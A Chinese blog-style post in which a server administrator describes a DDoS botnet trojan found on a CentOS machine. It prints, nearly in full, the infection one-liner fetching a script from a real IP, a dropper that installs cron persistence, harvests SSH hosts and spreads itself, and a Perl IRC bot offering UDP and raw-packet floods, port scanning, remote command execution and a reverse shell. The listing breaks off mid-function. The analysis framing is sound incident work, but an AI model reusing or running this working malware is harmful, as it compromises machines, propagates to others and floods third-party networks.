DDOS肉鸡代码

最近一段时间,所使用的CentOS服务器被不明人士安放了木马程序;观察发现该木马程序是用来发起DDOS攻击的肉鸡程序,在发作时占用绝大部分的网络带宽。

起点:

wget http://65.254.63.20/a|sh ; curl -O http://65.254.63.20/a ; sh a;rm -rf a*

执行完上面的代码以后,你的机器就已经中招了。以下是所下载和执行的代码:

1plm=`ps x |grep httpd.conf|grep -v grep` 2plt=`cat /proc/cpuinfo|grep aes` 3#pgrep perl |sed '1d;' |xargs kill -9 4if [ "$plm" != "" ] 5 then 6 echo 7else 8 9 rm -rf apache* httpd.conf* /usr/local/bin/sysmonitord 10 echo 'nameserver 8.8.8.8'> /etc/resolv.conf 11 #/sbin/iptables -A OUTPUT -p tcp --dport 45560 -j ACCEPT 12 kill -9 `ps x|grep stratum|awk '{print $1}'` 13 kill -9 `ps x|grep httpd.conf|grep -v grep|awk '{print $1}'` 14 #killall -9 sysmonitord sh wget curl 15 crontab -r 16 17 if [ -f libcurl.so.4 ] ; then 18 echo 19 else 20 wget 223.255.145.158/libcrypto.so.6 > /dev/null 2>&1 21 wget 223.255.145.158/libcurl.so.4 > /dev/null 2>&1 22 wget 223.255.145.158/libssl.so.6 > /dev/null 2>&1 23 wget 223.255.145.158/libldap-2.3.so.0 > /dev/null 2>&1 24 wget 223.255.145.158/liblber-2.3.so.0 > /dev/null 2>&1 25 26 curl -O http://223.255.145.158/libcrypto.so.6 > /dev/null 2>&1 27 curl -O http://223.255.145.158/libssl.so.6 > /dev/null 2>&1 28 curl -O http://223.255.145.158/libcurl.so.4 > /dev/null 2>&1 29 curl -O http://223.255.145.158/libldap-2.3.so.0 > /dev/null 2>&1 30 curl -O http://223.255.145.158/liblber-2.3.so.0 > /dev/null 2>&1 31 export LD_LIBRARY_PATH=`pwd` 32 fi 33 34 curl -O http://65.254.63.20/apache > /dev/null 2>&1 35 wget -qO - http://65.254.63.20/.mail | perl 36 curl -O http://65.254.63.20/.mail > /dev/null 2>&1 37 fetch http://65.254.63.20/.mail > /dev/null 2>&1 ; perl .mail ; rm -rf .mail* 38 wget http://65.254.63.20/apache > /dev/null 2>&1 39 wget http://65.254.63.20/httpd.conf > /dev/null 2>&1 40 curl -O http://65.254.63.20/httpd.conf > /dev/null 2>&1 41 42 if [ -f /etc/cron.daily/anacron ] ; then 43 echo 44 else 45 wget -O /etc/cron.daily/anacron http://65.254.63.20/a > /dev/null 2>&1 ; chmod +x /etc/cron.daily/anacron 46 curl -O http://65.254.63.20/a > /dev/null 2>&1; mv a /etc/cron.daily/anacron ; chmod +x /etc/cron.daily/anacron 47 fi 48 49 chmod +x apache 50 (exec ./apache -c httpd.conf &> /dev/null &) 51 sleep 2 52 53 rm -rf wget* apache* httpd* 54fi 55 56if [ "$plm" != "" ] 57 then 58 echo 59 else 60 61 if [ "$plt" != "" ] 62 then 63 echo 64 else 65 wget http://65.254.63.20/apacheaes > /dev/null 2>&1 66 curl -O http://65.254.63.20/apacheaes > /dev/null 2>&1 67 wget http://65.254.63.20/httpd.conf > /dev/null 2>&1 68 curl -O http://65.254.63.20/httpd.conf > /dev/null 2>&1 69 chmod +x apacheaes 70 mv apacheaes apache2 71 (exec ./apache2 -c httpd.conf &> /dev/null &) 72 fi 73 74fi 75 76if [ -f /tmp/.h ] ; then 77 echo 78else 79cat /root/.ssh/known_hosts|grep -v ,|awk '{print $1}' > /tmp/.h > /dev/null 2>&1 80cat /root/.ssh/known_hosts|grep ,|awk -F, '{print $1}' >> /tmp/.h > /dev/null 2>&1 81cat /root/.bash_history|grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}'|sort -u >> /tmp/.h > /dev/null 2>&1 82cat /home/*/.bash_history|grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}'|sort -u >> /tmp/.h > /dev/null 2>&1 83cat /home/*/.bash_history |grep ssh|awk '{print $2}'|grep -v '-'|grep -v / |sort -u >> /tmp/.h > /dev/null 2>&1 84cat /home/*/.bash_history |grep ssh|awk '{print $3}'|grep -v '-'|grep -v / |sort -u >> /tmp/.h > /dev/null 2>&1 85cat /root/.bash_history |grep ssh|awk '{print $2}'|grep -v '-'|grep -v /|sort -u >> /tmp/.h > /dev/null 2>&1 86cat /root/.bash_history |grep ssh|awk '{print $3}'|grep -v '-'|grep -v /|sort -u >> /tmp/.h > /dev/null 2>&1 87for i in `cat /tmp/.h` ; do (exec ssh -oStrictHostKeyChecking=no -oCheckHostIP=no `whoami`@$i "wget http://65.254.63.20/a|sh ; curl -O http://65.254.63.20/a ; sh a;rm -rf a*") > /dev/null 2>&1 ; done 88fi 89 90history -rc

以上shell脚本代码主要是下载并执行相关代码,以启动相应功能的服务进程;然后分析相应的日志/历史文件,从中解析出相关IP地址,并尝试登录到相应IP地址并再次执行上述动作(即:下载并执行上述shell脚本,以达到感染其他机器的目的)。

上面的 wget http://65.254.63.20/.mail | perl 所下载并执行的perl代码:

1#!/usr/bin/perl 2my @mast3rs = ("G"); 3 4my @hostauth = ("localhost"); 5my @admchan=("#x"); 6 7my @server = ("213.152.3.19"); 8$servidor= $server[rand scalar @server] unless $servidor; 9 10my $xeqt = "!say"; 11my $homedir = "/tmp"; 12my $shellaccess = 1; 13my $xstats = 1; 14my $pacotes = 1; 15my $linas_max = 5; 16my $sleep = 6; 17my $portime = 4; 18 19my @fakeps = ("/usr/bin/httpd"); 20 21my @nickname = ("V"); 22 23my @xident = ("xxx"); 24my @xname = (`uname -a`); 25 26################# 27# Random Ports 28################# 29my @rports = ("8080"); 30 31my @Mrx = ("\001mIRC32 v5.91 K.Mardam-Bey\001","\001mIRC v6.2 Khaled Mardam-Bey\001", 32 "\001mIRC v6.03 Khaled Mardam-Bey\001","\001mIRC v6.14 Khaled Mardam-Bey\001", 33 "\001mIRC v6.15 Khaled Mardam-Bey\001","\001mIRC v6.16 Khaled Mardam-Bey\001", 34 "\001mIRC v6.17 Khaled Mardam-Bey\001","\001mIRC v6.21 Khaled Mardam-Bey\001", 35 "\001Snak for Macintosh 4.9.8 English\001", 36 "\001DvC v0.1 PHP-5.1.1 based on Net_SmartIRC\001", 37 "\001PIRCH98:WIN 95/98/WIN NT:1.0 (build 1.0.1.1190)\001", 38 "\001xchat 2.6.2 Linux 2.6.18.5 [i686/2.67GHz]\001", 39 "\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/2,00GHz]\001", 40 "\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/1.70GHz]\001", 41 "\001XChat-GNOME IRC Chat 0.16 Linux 2.6.20-8-generic [i686]\001", 42 "\001ircN 7.27 + 7.0 - -\001","\001..(argon/1g) :bitchx-1.0c17\001", 43 "\001ircN 8.00 ^_-^_ he tries to tell me what I put inside of me ^_-^_\001", 44 "\001FreeBSD!4.11-STABLE bitchx-1.0c18 - prevail[0123] :down with people\001", 45 "\001BitchX-1.0c19+ by panasync - Linux 2.4.31 : Keep it to yourself!\001", 46 "\001BitchX-1.0c19+ by panasync - Linux 2.4.33.3 : Keep it to yourself!\001", 47 "\001BitchX-1.1-final+ by panasync - Linux 2.6.18.1 : Keep it to yourself!\001", 48 "\001BitchX-1.0c19 by panasync - freebsd 4.10-STABLE : Keep it to yourself!\001", 49 "\001BitchX-1.1-final+ by panasync - FreeBSD 4.5-STABLE : Keep it to yourself!\001", 50 "\001BitchX-1.1-final+ by panasync - FreeBSD 6.0-RELEASE : Keep it to yourself!\001", 51 "\001BitchX-1.1-final+ by panasync - FreeBSD 5.3-RELEASE : Keep it to yourself!\001", 52 "\001bitchx-1.0c18 :tunnelvision/1.2\001","\001PnP 4.22 - http://www.pairc.com/\001", 53 "\001BitchX-1.0c17/FreeBSD 4.10-RELEASE:(c)rackrock/bX [3.0.1??9] : Keep it to yourself!\001", 54 "\001P&P 4.22.2 (in development) + X Z P Bots, Sound, NickServ, ChanServ, Extras\001", 55 "\001HydraIRC v0.3.148 (18/Jan/2005) by Dominic Clifton aka Hydra - #HydraIRC on EFNet\001", 56 "\001irssi v0.8.10 - running on Linux i586\001","\001irssi v0.8.10 - running on FreeBSD i386\001", 57 "\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.6mods v1.0 by acidflash - Almost there\001", 58 "\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.8+OperMods v1.0 by acidflash - Almost there\001"); 59 60# Default quick scan ports 61my @portas=("21","22","23","25","53","80","110","113","143","3306","4000","5900","6667","6668","6669","7000","10000","12345","31337","65501"); 62 63# xeQt 64 65#my $nick = "Power"; 66my $nick = $nickname[rand scalar @nickname]; 67my $realname = $xname[rand scalar @xname]; 68my $ircname = $xident[rand scalar @xident]; 69my $porta = $rports[rand scalar @rports]; 70my $xproc = $fakeps[rand scalar @fakeps]; 71my $Mrx = $Mrx[rand scalar @Mrx]; 72my $version = 'PowerBots (C) GohacK'; 73my $echo = "`echo` $1"; 74 75$SIG{'INT'} = 'IGNORE'; 76$SIG{'HUP'} = 'IGNORE'; 77$SIG{'TERM'} = 'IGNORE'; 78$SIG{'CHLD'} = 'IGNORE'; 79$SIG{'PS'} = 'IGNORE'; 80 81use IO::Socket; 82use Socket; 83use IO::Select; 84chdir("$homedir"); 85$servidor="$ARGV[0]" if $ARGV[0]; 86$0="$xproc"."\0"; 87my $pid=fork; 88exit if $pid; 89die "[x] -> Cannot fork into background: $!" unless defined($pid); 90my %irc_servers; 91my %DCC; 92my $dcc_sel = new IO::Select->new(); 93 94sub getnick { 95 return "$nickname[rand scalar @nickname]".int(rand(20000)); 96} 97 98sub getstore ($$) 99{ 100 my $url = shift; 101 my $file = shift; 102 103 $http_stream_out = 1; 104 open(GET_OUTFILE, "> $file"); 105 %http_loop_check = (); 106 _get($url); 107 close GET_OUTFILE; 108 return $main::http_get_result; 109} 110 111sub _get 112{ 113 my $url = shift; 114 my $proxy = ""; 115 grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV; 116 if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) { 117 my $host = $1; 118 my $port = $2 || 80; 119 my $path = $3; 120 $path = "/" unless defined($path); 121 return _trivial_http_get($host, $port, $path); 122 } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) { 123 my $host = $1; 124 my $port = $2; 125 my $path = $url; 126 return _trivial_http_get($host, $port, $path); 127 } else { 128 return undef; 129 } 130} 131 132sub _trivial_http_get 133{ 134 my($host, $port, $path) = @_; 135 my($AGENT, $VERSION, $p); 136 #print "HOST=$host, PORT=$port, PATH=$path\n"; 137 138 $AGENT = "get-minimal"; 139 $VERSION = "20000118"; 140 141 $path =~ s/ /%20/g; 142 143 require IO::Socket; 144 local($^W) = 0; 145 my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => 'tcp', Timeout => 60) || return; 146 147 $sock->autoflush; 148 my $netloc = $host; 149 $netloc .= ":$port" if $port != 80; 150 my $request = "GET $path HTTP/1.0\015\012" 151 . "Host: $netloc\015\012" 152 . "User-Agent: $AGENT/$VERSION/u\015\012"; 153 $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache); 154 $request .= "\015\012"; 155 print $sock $request; 156 my $buf = ""; 157 my $n; 158 my $b1 = ""; 159 while ($n = sysread($sock, $buf, 8*1024, length($buf))) { 160 if ($b1 eq "") { 161 $b1 = $buf; 162 $buf =~ s/.+?\015?\012\015?\012//s; 163 } 164 if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; } 165 } 166 return undef unless defined($n); 167 $main::http_get_result = 200; 168 if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) { 169 $main::http_get_result = $1; 170 # print "CODE=$main::http_get_result\n$b1\n"; 171 if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/) { 172 my $url = $1; 173 return undef if $http_loop_check{$url}++; 174 return _get($url); 175 } 176 return undef unless $main::http_get_result =~ /^2/; 177 } 178 return $buf; 179} 180 181$sel_cliente = IO::Select->new(); 182 183sub sendraw { 184 if ($#_ == '1') { 185 my $socket = $_[0]; 186 print $socket "$_[1]\n"; 187 } else { 188 print $IRC_cur_socket "$_[0]\n"; 189 } 190} 191 192sub conectar { 193 my $meunick = $_[0]; 194 my $servidor_con = $_[1]; 195 my $porta_con = $_[2]; 196 my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1); 197 if (defined($IRC_socket)) { 198 $IRC_cur_socket = $IRC_socket; 199 $IRC_socket->autoflush(1); 200 $sel_cliente->add($IRC_socket); 201 $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con"; 202 $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con"; 203 $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; 204 $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost; 205 nick("$meunick"); 206 sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname"); 207 sleep 2; 208 } 209} 210 211my $line_temp; 212 213while( 1 ) { 214 while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); } 215 delete($irc_servers{''}) if (defined($irc_servers{''})); 216 &DCC::connections; 217 my @ready = $sel_cliente->can_read(0.6); 218 next unless(@ready); 219 foreach $fh (@ready) { 220 $IRC_cur_socket = $fh; 221 $meunick = $irc_servers{$IRC_cur_socket}{'nick'}; 222 $nread = sysread($fh, $msg, 4096); 223 if ($nread == 0) { 224 $sel_cliente->remove($fh); 225 $fh->close; 226 delete($irc_servers{$fh}); 227 } 228 @lines = split (/\n/, $msg); 229 for(my $c=0; $c<= $#lines; $c++) { 230 $line = $lines[$c]; 231 $line=$line_temp.$line if ($line_temp); 232 $line_temp=''; 233 $line =~ s/\r$//; 234 unless ($c == $#lines) { 235 parse("$line"); 236 } else { 237 if ($#lines == 0) { 238 parse("$line"); 239 } elsif ($lines[$c] =~ /\r$/) { 240 parse("$line"); 241 } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { 242 parse("$line"); 243 } else { 244 $line_temp = $line; 245 } 246 } 247 } 248 } 249} 250 251sub parse { 252 my $servarg = shift; 253 if ($servarg =~ /^PING \:(.*)/) { 254 sendraw("PONG :$1"); 255 } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { 256 my $pn=$1; my $hostnam3=$3; my $onde = $4; my $args = $5; 257 if ($args =~ /^\001VERSION\001$/) { 258 notice("$pn", "".$Mrx.""); 259 } 260 elsif ($args =~ /^\001PING\s+(\d+)\001$/) { 261 notice("$pn", "\001PONG\001"); 262 } 263 if (grep {$_ =~ /^\Q$hostnam3\E$/i } @hostauth) { 264 if (grep {$_ =~ /^\Q$pn\E$/i } @mast3rs) { 265 if ($onde eq "$meunick"){ 266 shell("$pn", "$args"); 267 } 268 if ($args =~ /^!(.*)/){ 269 ircase("$pn","$chan","$1"); 270 } 271 if ($args =~ /^(\Q$meunick\E|\Q$xeqt\E)\s+(.*)/ ) { 272 my $natrix = $1; 273 my $arg = $2; 274 if ($arg =~ /^\!(.*)/) { 275 ircase("$pn","$onde","$1"); 276 } elsif ($arg =~ /^\@(.*)/) { 277 $ondep = $onde; 278 $ondep = $pn if $onde eq $meunick; 279 bfunc("$ondep","$1"); 280 } else { 281 shell("$onde", "$arg"); 282 } 283 } 284 } 285 } 286 } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { 287 if (lc($1) eq lc($meunick)) { 288 $meunick=$4; 289 $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; 290 } 291 } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { 292 $meunick = getnick(); 293 nick("".$meunick."-"); 294 } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { 295 $meunick = $2; 296 $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; 297 $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; 298 foreach my $canal (@admchan){ 299 sendraw("JOIN $canal muietie"); 300 } 301 } 302} 303sub bfunc { 304 my $printl = $_[0]; 305 my $funcarg = $_[1]; 306 if (my $pid = fork) { 307 waitpid($pid, 0); 308 } else { 309 if (fork) 310 { 311 exit; 312 } 313 else 314 { 315 # Quick scan 316 if ($funcarg =~ /^ps (.*)/) { 317 my $hostip="$1"; 318 sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312Portscanning\003\002: $1 \002\00312Ports:\003\002 default"); 319 my (@aberta, %porta_banner); 320 foreach my $porta (@portas) { 321 my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime); 322 if ($scansock) { 323 push (@aberta, $porta); 324 $scansock->close; 325 sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open"); 326 } 327 } 328 if (@aberta) { 329 sendraw($IRC_cur_socket, "PRIVMSG $printl :Port Scan Complete with target: $1 "); 330 } else { 331 sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[x]\0034 No open ports found on\002 $1"); 332 } 333 } 334 # NMAP, lol 335 elsif ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/) 336 { 337 my $hostname="$1"; 338 my $portstart = "$2"; 339 my $portend = "$3"; 340 my (@abertas, %porta_banner); 341 sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312xMap Portscanning\003\002: $1 \002\00312Ports:\003\002 $2-$3"); 342 foreach my $porta ($portstart..$portend) 343 { 344 my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => $portime); 345 if ($scansock) { 346 push (@abertas, $porta); 347 $scansock->close; 348 if ($xstats) 349 { 350 sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open"); 351 } 352 } 353 } 354 if (@abertas) { 355 sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312Scan Complate\003\002"); 356 } else { 357 sendraw($IRC_cur_socket,"PRIVMSG $printl :\002\00312No ports found..\002"); 358 } 359 } 360 # Remove 361 elsif ($funcarg =~ /^rm/) 362 { 363 system("cd /var/tmp ; rm -rf cb find god* wunder* udev* lib*"); 364 sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Quickdel)\002\00314 Removed files and folders "); 365 } 366 # Version 367 elsif ($funcarg =~ /^version/) 368 { 369 sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Version)\002\00314 $version "); 370 } 371 # Download 372 elsif ($funcarg =~ /^down\s+(.*)\s+(.*)/) 373 { 374 getstore("$1", "$2"); 375 sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Download)\002\00314 Page: $2 (File: $1)") if ($xstats); 376 } 377 # Udp 378 elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) { 379 return unless $pacotes; 380 socket(Tr0x, PF_INET, SOCK_DGRAM, 17); 381 my $alvo=inet_aton("$1"); 382 my $porta = "$2"; 383 my $tempo = "$3"; 384 my $pacote; 385 my $pacotese; 386 my $fim = time + $tempo; 387 my $pacota = 1; 388 sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(UDP DDoSing)\003 Attacking\002: $1 - \002Time\002: $tempo"."seconds"); 389 while (($pacota == "1") && ($pacotes == "1")) { 390 $pacota = 0 if ((time >= $fim) && ($tempo != "0")); 391 $pacote=$rand x $rand x $rand; 392 $porta = int(rand 65000) +1 if ($porta == "0"); 393 send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1"); 394 } 395 if ($xstats) 396 { 397 sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(UDP Complete):\003\002 $1 - \002Sendt\002: $pacotese"."kb - \002Time\002: $tempo"."seconds"); 398 } 399 } 400 401 # Backconnect 402 elsif ($funcarg =~ /^back\s+(.*)\s+(\d+)/) { 403 my $host = "$1"; 404 my $porta = "$2"; 405 my $proto = getprotobyname('tcp'); 406 my $iaddr = inet_aton($host); 407 my $paddr = sockaddr_in($porta, $iaddr); 408 my $shell = "/bin/sh -i"; 409 if ($^O eq "MSWin32") { 410 $shell = "cmd.exe"; 411 } 412 socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; 413 connect(SOCKET, $paddr) or die "connect: $!"; 414 sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[x] ->\0034 Injection ..."); 415 open(STDIN, ">&SOCKET"); 416 open(STDOUT, ">&SOCKET"); 417 open(STDERR, ">&SOCKET"); 418 system("$shell"); 419 system("cd /tmp/.mrx"); 420 close(STDIN); 421 close(STDOUT); 422 close(STDERR); 423 } 424 exit; 425 } 426 } 427} 428 429sub ircase { 430 my ($kem, $printl, $case) = @_; 431 432 if ($case =~ /^join (.*)/) { 433 j("$1"); 434 } 435 elsif ($case =~ /^part (.*)/) { 436 p("$1"); 437 } 438 elsif ($case =~ /^rejoin\s+(.*)/) { 439 my $chan = $1; 440 if ($chan =~ /^(\d+) (.*)/) { 441 for (my $ca = 1; $ca <= $1; $ca++ ) { 442 p("$2"); 443 j("$2"); 444 } 445 } else { 446 p("$chan"); 447 j("$chan"); 448 } 449 } 450 elsif ($case =~ /^op/) { 451 op("$printl", "$kem") if $case eq "op"; 452 my $oarg = substr($case, 3); 453 op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); 454 } 455 elsif ($case =~ /^deop/) { 456 deop("$printl", "$kem") if $case eq "deop"; 457 my $oarg = substr($case, 5); 458 deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); 459 } 460 elsif ($case =~ /^voice/) { 461 voice("$printl", "$kem") if $case eq "voice"; 462 $oarg = substr($case, 6); 463 voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); 464 } 465 elsif ($case =~ /^devoice/) { 466 devoice("$printl", "$kem") if $case eq "devoice"; 467 $oarg = substr($case, 8); 468 devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); 469 } 470 elsif ($case =~ /^msg\s+(\S+) (.*)/) { 471 msg("$1", "$2"); 472 } 473 elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) { 474 for (my $cf = 1; $cf <= $1; $cf++) { 475 msg("$2", "$3"); 476 } 477 } 478 elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) { 479 for (my $cf = 1; $cf <= $1; $cf++) { 480 ctcp("$2", "$3"); 481 } 482 } 483 elsif ($case =~ /^ctcp\s+(\S+) (.*)/) { 484 ctcp("$1", "$2"); 485 } 486 elsif ($case =~ /^invite\s+(\S+) (.*)/) { 487 invite("$1", "$2"); 488 } 489 elsif ($case =~ /^echo/) { 490 system("echo $meunick > `pwd`/botnick"); 491 msg("done"); 492 } 493 elsif ($case =~ /^nick (.*)/) { 494 nick("$1"); 495 } 496 elsif ($case =~ /^jump\s+(\S+)\s+(\S+)/) { 497 conectar("$2", "$1", 6667); 498 } 499 elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) { 500 DCC::SEND("$1", "$2"); 501 } 502 elsif ($case =~ /^raw (.*)/) { 503 sendraw("$1"); 504 } 505 elsif ($case =~ /^eval (.*)/) { 506 eval "$1"; 507 } 508 elsif ($case =~ /^rj\s+(\S+)\s+(\d+)/) { 509 sleep int(rand($2)); 510 j("$1"); 511 } 512 elsif ($case =~ /^rp\s+(\S+)\s+(\d+)/) { 513 sleep int(rand($2)); 514 p("$1"); 515 } 516 elsif ($case =~ /^quit/) { 517 quit(); 518 } 519 elsif ($case =~ /^rand/) { 520 my $novonick = getnick(); 521 nick("$novonick"); 522 } 523 elsif ($case =~ /^stat (.*)/) { 524 if ($1 eq "on") { 525 $xstats = 1; 526 msg("$printl", "Satus enabled"); 527 } elsif ($1 eq "off") { 528 $xstats = 0; 529 msg("$printl", "Status disable"); 530 } 531 } 532 elsif ($case =~ /^bang (.*)/) { 533 if ($1 eq "on") { 534 $pacotes = 1; 535 msg("$printl", "[x] Bang mode enabled") if ($xstats == "1"); 536 } elsif ($1 eq "off") { 537 $pacotes = 0; 538 msg("$printl", "[x] Bang mode disabled") if ($xstats == "1"); 539 } 540 } 541} 542 543sub shell { 544 return unless $shellaccess; 545 my $printl=$_[0]; 546 my $comando=$_[1]; 547 if ($comando =~ /cd (.*)/) { 548 chdir("$1") || msg("$printl", "cd: $1".": No such file or directory"); 549 return; 550 } 551 elsif ($pid = fork) { 552 waitpid($pid, 0); 553 } else { 554 if (fork) { 555 exit; 556 } else { 557 my @resp=`$comando 2>&1 3>&1`; 558 my $c=0; 559 foreach my $linha (@resp) { 560 $c++; 561 chop $linha; 562 sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha"); 563 if ($c >= "$linas_max") { 564 $c=0; 565 sleep $sleep; 566 } 567 } 568 exit; 569 } 570 } 571} 572 573sub attacker { 574 my $iaddr = inet_aton($_[0]); 575 my $msg = 'B' x $_[1]; 576 my $ftime = $_[2]; 577 my $cp = 0; 578 my (%pacotes); 579 $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0; 580 581 socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++; 582 socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++; 583 socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++; 584 socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++; 585 return(undef) if $cp == 4; 586 my $itime = time; 587 my ($cur_time); 588 while ( 1 ) { 589 for (my $porta = 1; $porta <= 65535; $porta++) { 590 $cur_time = time - $itime; 591 last if $cur_time >= $ftime; 592 send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1); 593 send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1); 594 send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1); 595 send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1); 596 for (my $pc = 3; $pc <= 255;$pc++) { 597 next if $pc == 6; 598 $cur_time = time - $itime; 599 last if $cur_time >= $ftime; 600 socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next; 601 send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1); 602 } 603 } 604 last if $cur_time >= $ftime; 605 } 606 return($cur_time, %pacotes); 607} 608 609sub action { 610 return unless $#_ == 1; 611 sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001"); 612} 613sub ctcp { 614 return unless $#_ == 1; 615 sendraw("PRIVMSG $_[0] :\001$_[1]\001"); 616} 617sub msg { 618 return unless $#_ == 1; 619 sendraw("PRIVMSG $_[0] :$_[1]"); 620} 621sub notice { 622 return unless $#_ == 1; 623 sendraw("NOTICE $_[0] :$_[1]"); 624} 625sub op { 626 return unless $#_ == 1; 627 sendraw("MODE $_[0] +o $_[1]"); 628} 629sub deop { 630 return unless $#_ == 1; 631 sendraw("MODE $_[0] -o $_[1]"); 632} 633sub hop { 634 return unless $#_ == 1; 635 sendraw("MODE $_[0] +h $_[1]"); 636} 637sub dehop { 638 return unless $#_ == 1; 639 sendraw("MODE $_[0] +h $_[1]"); 640} 641sub voice { 642 return unless $#_ == 1; 643 sendraw("MODE $_[0] +v $_[1]"); 644} 645sub devoice { 646 return unless $#_ == 1; 647 sendraw("MODE $_[0] -v $_[1]"); 648} 649sub ban { 650 return unless $#_ == 1; 651 sendraw("MODE $_[0] +b $_[1]"); 652} 653sub unban { 654 return unless $#_ == 1; 655 sendraw("MODE $_[0] -b $_[1]"); 656} 657sub kick { 658 return unless $#_ == 1; 659 sendraw("KICK $_[0] $_[1] :$_[2]"); 660} 661sub modo { 662 return unless $#_ == 0; 663 sendraw("MODE $_[0] $_[1]"); 664} 665sub mode { modo(@_); } 666sub j { &join(@_); } 667sub join { 668 return unless $#_ == 0; 669 sendraw("JOIN $_[0]"); 670} 671sub p { part(@_); } 672sub part {sendraw("PART $_[0]");} 673sub nick { 674 return unless $#_ == 0; 675 sendraw("NICK $_[0]"); 676} 677sub invite { 678 return unless $#_ == 1; 679 sendraw("INVITE $_[1] $_[0]"); 680} 681sub topico { 682 return unless $#_ == 1; 683 sendraw("TOPIC $_[0] $_[1]"); 684} 685sub topic { topico(@_); } 686sub whois { 687 return unless $#_ == 0; 688 sendraw("WHOIS $_[0]"); 689} 690sub who { 691 return unless $#_ == 0; 692 sendraw("WHO $_[0]"); 693} 694sub names { 695 return unless $#_ == 0; 696 sendraw("NAMES $_[0]"); 697} 698sub away { 699 sendraw("AWAY $_[0]"); 700} 701sub back { away(); } 702sub quit { 703 sendraw("QUIT :$_[0]"); 704 exit; 705} 706 707package DCC; 708sub connections { 709 my @ready = $dcc_sel->can_read(1); 710# return unless (@ready); 711 foreach my $fh (@ready) { 712 my $dcctipo = $DCC{$fh}{tipo}; 713 my $arquivo = $DCC{$fh}{arquivo}; 714 my $bytes = $DCC{$fh}{bytes}; 715 my $cur_byte = $DCC{$fh}{curbyte}; 716 my $nick = $DCC{$fh}{nick}; 717 my $msg; 718 my $nread = sysread($fh, $msg, 10240); 719 if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) { 720 $DCC{$fh}{status} = "Cancelado"; 721 $DCC{$fh}{ftime} = time; 722 $dcc_sel->remove($fh); 723 $fh->close; 724 